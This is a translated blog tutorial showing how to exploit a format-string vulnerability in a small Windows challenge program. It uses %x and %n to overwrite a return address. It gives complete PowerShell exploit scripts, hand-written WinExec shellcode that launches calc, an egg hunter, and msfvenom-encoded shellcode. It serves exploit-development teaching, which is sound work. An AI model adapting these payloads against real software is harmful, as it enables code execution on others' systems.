原文地址:Exploiting Format Strings in Windows
我想在Windows下利用格式字符串时做出一个小挑战。表面上,它要求打开一个文件。起初这可能有点混乱。在读取文件时并不会受到攻击,你可以看到我们对该程序设置的第一个参数在程序中回显了。
让我们在调试器内部进行研究。正如你所看到的,如果argc == 2,应用程序将继续执行,并且argv [1]会被传递到突出显示的那个函数中去。
在这个函数中,memset的功能是与和0一起使用来填充内存,strncpy用来复制用户咋缓冲区内的输入。但您是否注意到eax是由printf函数直接调用的,并没有指定任何格式字符串参数。函数printf将直接调用我们的缓冲区。
让我们试试用%X格式字符串来读取堆栈,该字符串以十六进制的格式来显示文本。可以看出printf函数读取堆栈内存时,是从高到低读取的。
我将给出80个字符和一串%x格式字符串,并查看其输出。
你可看到41表示十六进制A,2558表示%X。
我们可以使用%n来显示当前写入字符串的字符数,直到替换%n的偏移值为止。我们要传递的是变量的地址。基本上,这将写入一个内存位置。例如,
int main() {
int number;
printf("Hello %nWorld", &number);
printf("%d", number);
}
这将显示值6。
那么。让我们尝试在输入中放置%n,看看会发生什么呢?
可以看到,当我们试图写入地址时程序崩溃了。那调试器中发生了什么呢?
这就是使得程序崩溃的地方,ECX的值被移入EAX指向的地址。
让我们来检查寄存器。EAX包含78257825,它是指“x%x%”,并且ECX包含了f8。
检查一下堆栈,进行分析时,可以看到我们注入堆栈中的字符。这给我们了一个很好的提示:使用shellcode而不是'A'字符。
在函数结尾处,一旦点击RET,EIP将指向堆栈中前一个函数返回的地址。
如果我们检查调用堆栈,则可以看到指向0019f72c的第一个帧指针。
返回地址是0019f730,它指向前一个函数的00401188。不知您是否注意到0019f730地址前面有空字节。但是,如果我们将这个地址以地位优先的格式写在payload末尾,就不会有影响。
接下来是我们的解决方案。在这个方案中,我们可以控制ECX和EAX。我们可以在ECX中写入shellcode的地址,并在EAX寄存器中写入指向返回地址的指针。一旦程序执行“mov dword ptr [eax],ecx”,shellcode的地址将被写入堆栈的返回地址中。当程序到达函数最后并且触发尾部的LEAVE时,EIP将指向我们新写入的地址,该地址指向我们的shellcode。
这个方案听起来不错,让我们尝试着实现这些操作吧。
首先,我们应该将EAX指向我们的返回地址。我的第一个payload就是这样。如前一张图片一样,EAX包含78257825,即“x%x%”。
$Buffer = 'A' * 80
$fmt = '%x' * 21 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
我们必须不断尝试,直到EAX指向4个B字符。我一直在增加“%x”字符,最终使EAX指向“BBBB”。所以,我尝试的下一个payload就是这个。
$Buffer = 'A' * 80
$fmt = '%x' * 41 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
让我们试着通过让ECX寄存器指向我们的shellcode地址来控制它(寄存器)。如上图所示,shellcode位于0019f758,我们尝试把这个数字除以4。
0x0019f758/4 = 425430
我们将这个值赋给格式字符串%x,这将改变ECX的值。同时,我会将"%x"的字符数从41增加到51,以使EAX指向Bs。这个"%x"一次读取2个字符。在达到目的之前我们必须一直尝试。
$Buffer = 'A' * 80
$fmt = '%x' 51 + '%.425430x' 4 +'%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
现在ECX指向0019f940,但我们需要让ECX指向0019f758。
让我们找出其不同,并继续尝试。
0x0019f940– 0x0019f758 = 488
通过将408添加到最后一个格式字符串中,我们应该能够接近我们的目标了。让我们试试看。
425430 + 488 = 425918
$Buffer = 'A' * 80
$fmt = '%x' 51 + '%.425430x' 3 + '%.425918x' +'%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
现在ECX已经指向了19fb28,让我们再来看看有什么差异。
0x19fb28 – 0x19f758 = 976
通过减少最后一个格式字符串的差异,我们应当让ECX指向我们需要的准确地址。
425918 - 949 = 424942
$Buffer = 'A' * 80
$fmt = '%x' 51 + '%.425430x' 3 + '%.424942x' +'%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
现在ECX已经指向了19f758,这正是我们要写入shellcode的位置。
由于我们有80个A字符,我将先尝试写入我自己的shellcode来弹出calc。因为如果我再次增加A字符的数量,计算偏移量时就会很麻烦。我将使用WinExec API来调用calc,让我们找到它的地址。
下面是我自己编写的一个简单的asm代码,用来调用WinExec API。
format PE GUI 4.0
entry ShellCode
include 'win32ax.inc'
; Author: @OsandaMalith
section '.code' executable readable writeable
ShellCode:
push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte [ebp-04h], 'c'
mov byte [ebp-03h], 'a'
mov byte [ebp-02h], 'l'
mov byte [ebp-01h], 'c'
mov dword [esp+4], edi
mov byte [ebp-08h], 01h
lea eax, [ebp-04h]
push eax
mov eax, 75263640h
call eax
下面是我最终的exp:
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Format String Exploitation
#>
$shellcode = [Byte[]] @(
0x55, # push ebp
0x89, 0xE5, # mov ebp, esp
0x31, 0xFF, # xor edi, edi
0x57, # push edi
0xC6, 0x45, 0xFC, 0x63, # mov byte [ebp-04h], 'c'
0xC6, 0x45, 0xFD, 0x61, # mov byte [ebp-03h], 'a'
0xC6, 0x45, 0xFE, 0x6C, # mov byte [ebp-02h], 'l'
0xC6, 0x45, 0xFF, 0x63, # mov byte [ebp-01h], 'c'
0x89, 0x7C, 0x24, 0x04, # mov dword [esp+4], edi
0xC6, 0x45, 0xF8, 0x01, # mov byte [ebp-08h], 01h
0x8D, 0x45, 0xFC, # lea eax, [ebp-04h]
0x50, # push eax
0xB8, 0x40, 0x36, 0x26, 0x75, # mov eax, 75263640h
0xFF, 0xD0# call eax
)
$shellcode += [Byte[]] (0x41) * (80 - $shellcode.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 51) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $shellcode + $fmt + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payload
让我们在调试器中进行最后的检查。
ECX的值0019f758将被移至指向EAX的指针,其值为0019f730,这是一个包含我们返回地址的堆栈指针。在ECX寄存器内部,它指向我们的shellcode。
当触发函数返回时,EIP将指向我们的shellcode。
一旦我们运行这个exp,就能得到计算器。
您觉得使用egg hunter来查找shellcode的方式怎么样呢?有人可能会反驳说我们可以使用一个long jump,或者我们可以直接将shellcode放在开头。但由于我的兴趣和好奇心,我仍然想使用这个方式。
一开始,我检查了bad chars,并在这个程序找到了它:“\x00\x09\x20” 。下面是egg hunter的exp。请注意,偏移量可能会在不同的Windows平台上发生变化。
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Egg hunter for the format string bug
#>
[Byte[]] $egg = 0x66,0x81,0xca,0xff,0x0f,0x42,0x52,0x6a,0x02,0x58,0xcd,0x2e,0x3c,0x05,0x5a,0x74,0xef,0xb8,0x54,0x30,0x30,0x57,0x8b,0xfa,0xaf,0x75,0xea,0xaf,0x75,0xe7,0xff,0xe7
$shellcode = ([system.Text.Encoding]::ASCII).GetBytes('W00TW00T')
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f powershell -e x86/alpha_mixed
[Byte[]] $shellcode += 0x89,0xe0,0xdd,0xc7,0xd9,0x70,0xf4,0x5a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x52,0x59,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x49,0x6c,0x78,0x68,0x4c,0x42,0x55,0x50,0x73,0x30,0x33,0x30,0x61,0x70,0x6c,0x49,0x6b,0x55,0x56,0x51,0x4b,0x70,0x73,0x54,0x6c,0x4b,0x56,0x30,0x56,0x50,0x6c,0x4b,0x32,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x4e,0x6b,0x73,0x42,0x34,0x68,0x44,0x4f,0x48,0x37,0x53,0x7a,0x74,0x66,0x34,0x71,0x39,0x6f,0x4c,0x6c,0x45,0x6c,0x43,0x51,0x73,0x4c,0x76,0x62,0x44,0x6c,0x65,0x70,0x6b,0x71,0x38,0x4f,0x64,0x4d,0x37,0x71,0x7a,0x67,0x59,0x72,0x68,0x72,0x43,0x62,0x42,0x77,0x4e,0x6b,0x50,0x52,0x32,0x30,0x4e,0x6b,0x72,0x6a,0x77,0x4c,0x6e,0x6b,0x52,0x6c,0x57,0x61,0x73,0x48,0x78,0x63,0x72,0x68,0x33,0x31,0x38,0x51,0x30,0x51,0x6e,0x6b,0x70,0x59,0x75,0x70,0x55,0x51,0x4e,0x33,0x6c,0x4b,0x73,0x79,0x46,0x78,0x7a,0x43,0x45,0x6a,0x62,0x69,0x4c,0x4b,0x65,0x64,0x6c,0x4b,0x75,0x51,0x38,0x56,0x50,0x31,0x59,0x6f,0x4c,0x6c,0x59,0x51,0x6a,0x6f,0x76,0x6d,0x63,0x31,0x48,0x47,0x44,0x78,0x4d,0x30,0x42,0x55,0x4c,0x36,0x65,0x53,0x31,0x6d,0x58,0x78,0x55,0x6b,0x31,0x6d,0x71,0x34,0x31,0x65,0x6a,0x44,0x61,0x48,0x6e,0x6b,0x32,0x78,0x51,0x34,0x55,0x51,0x6a,0x73,0x71,0x76,0x6c,0x4b,0x44,0x4c,0x70,0x4b,0x4e,0x6b,0x53,0x68,0x57,0x6c,0x73,0x31,0x49,0x43,0x4e,0x6b,0x74,0x44,0x6e,0x6b,0x76,0x61,0x78,0x50,0x4c,0x49,0x30,0x44,0x76,0x44,0x66,0x44,0x73,0x6b,0x43,0x6b,0x61,0x71,0x53,0x69,0x32,0x7a,0x72,0x71,0x79,0x6f,0x6d,0x30,0x43,0x6f,0x63,0x6f,0x72,0x7a,0x6e,0x6b,0x74,0x52,0x7a,0x4b,0x4e,0x6d,0x31,0x4d,0x43,0x5a,0x55,0x51,0x6e,0x6d,0x4f,0x75,0x38,0x32,0x75,0x50,0x55,0x50,0x65,0x50,0x30,0x50,0x71,0x78,0x65,0x61,0x6c,0x4b,0x52,0x4f,0x6d,0x57,0x79,0x6f,0x4a,0x75,0x4f,0x4b,0x4a,0x50,0x4d,0x65,0x49,0x32,0x73,0x66,0x71,0x78,0x6f,0x56,0x6d,0x45,0x6f,0x4d,0x6f,0x6d,0x39,0x6f,0x4b,0x65,0x75,0x6c,0x45,0x56,0x51,0x6c,0x64,0x4a,0x4d,0x50,0x4b,0x4b,0x79,0x70,0x31,0x65,0x37,0x75,0x4d,0x6b,0x71,0x57,0x76,0x73,0x62,0x52,0x52,0x4f,0x71,0x7a,0x63,0x30,0x62,0x73,0x49,0x6f,0x69,0x45,0x53,0x53,0x51,0x71,0x50,0x6c,0x33,0x53,0x36,0x4e,0x53,0x55,0x70,0x78,0x32,0x45,0x45,0x50,0x41,0x41
$egg += [Byte[]] (0x41) * (80 - $egg.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 305) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $egg + $fmt + $shellcode + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payload
这种开发方法依赖于编译器。我已经在Embarcadero C ++(Borland C ++)和Visual C ++ 2000编译器上进行过实验了。在其他编译器中,printf函数与这些函数有些差异。你也可以研究其他编译器的开发方法。